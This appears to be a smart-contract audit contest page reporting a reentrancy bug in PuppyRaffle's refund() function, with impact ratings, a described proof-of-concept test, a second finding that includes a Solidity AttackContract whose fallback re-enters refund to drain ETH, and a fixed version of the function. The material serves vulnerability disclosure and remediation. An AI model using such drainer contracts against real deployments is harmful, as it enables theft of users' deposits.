Refund sends ETH before clearing player state, allowing a player to drain all raffle deposits
Refund sends ETH before clearing player state, allowing a player to drain all raffle deposits
Affected Contract
src/PuppyRaffle.sol
Affected Code
refund(uint256) sends entranceFee to msg.sender before clearing players[playerIndex].
Description
refund violates the checks-effects-interactions pattern. A malicious entrant can enter the raffle through a contract, call refund, and reenter refund from its receive function before players[playerIndex] is set to address(0).
Because the same player index remains active during every nested call, the attacker can repeatedly pass both refund checks and receive entranceFee multiple times. The attacker only paid for one ticket, but can drain ETH deposited by other players.
Risk
The raffle contract can become insolvent during an active round because one entrant can withdraw more ETH than they deposited. Honest participants lose their deposits, the winner cannot be paid, and the protocol cannot safely continue the round.
Impact
High. A malicious player can steal other participants' deposits from the active raffle. In the PoC, the attacker pays 1 ETH and drains the full 4 ETH raffle balance.
Likelihood
High. refund is permissionless for any active player and forwards all gas through OpenZeppelin sendValue, making reentrancy straightforward for a contract entrant.
Proof of Concept
Added test: test/AuditFindings.t.sol
Run:
The test:
The attacker contract enters the raffle once with 1 ETH.
Three honest players enter with 1 ETH each.
The attacker calls
refund(0).The attacker's
receivefunction reentersrefund(0)while the player slot is still active.The raffle balance becomes 0 and the attacker contract balance becomes 4 ETH.
Recommended Mitigation
Clear the player slot before sending ETH and optionally add a reentrancy guard.
Add a regression test that uses a malicious receiver and confirms it cannot receive more than one refund.
Lead Judging Commences
[H-02] Reentrancy Vulnerability In refund() function
## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.
Rewards breakdown
Live
The contest is live. Earn rewards by submitting a finding.
Judging
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsRewards Distribution
The contest is complete and the rewards are being distributed.